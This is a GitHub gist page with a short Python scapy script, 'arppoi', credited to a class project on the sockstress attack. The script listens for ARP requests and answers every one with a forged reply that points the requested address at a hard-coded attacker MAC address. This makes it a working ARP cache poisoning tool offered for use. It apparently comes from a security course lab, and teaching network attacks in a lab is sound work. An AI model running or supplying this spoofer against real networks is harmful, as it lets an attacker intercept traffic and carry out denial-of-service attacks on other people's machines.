Created
January 20, 2014 23:49
-
-
Save moshekaplan/8531704 to your computer and use it in GitHub Desktop.
arppoi, from http://samsclass.info/123/proj10/sockstress.htm
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| import sys | |
| from scapy.all import * | |
| MAC = "00:0c:29:bf:b0:5a" # MAC Addr of Sockstress Attacker | |
| def findARP(p): | |
| op = p.sprintf("%ARP.op%") | |
| if op == "who-has": # Only respond to ARP Requests | |
| psrc = p.sprintf("%ARP.psrc%") | |
| pdst = p.sprintf("%ARP.pdst%") | |
| print "ARP detected: ", op, " ", pdst, " tell ", psrc | |
| B = ARP() | |
| B.op = "is-at" | |
| B.pdst = psrc | |
| B.psrc = pdst | |
| B.hwsrc = MAC | |
| B.hwdst = "ff:ff:ff:ff:ff:ff" | |
| print "Sending ", B.summary() | |
| send(B/Padding("X"*18)) | |
| sniff(prn=findARP) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment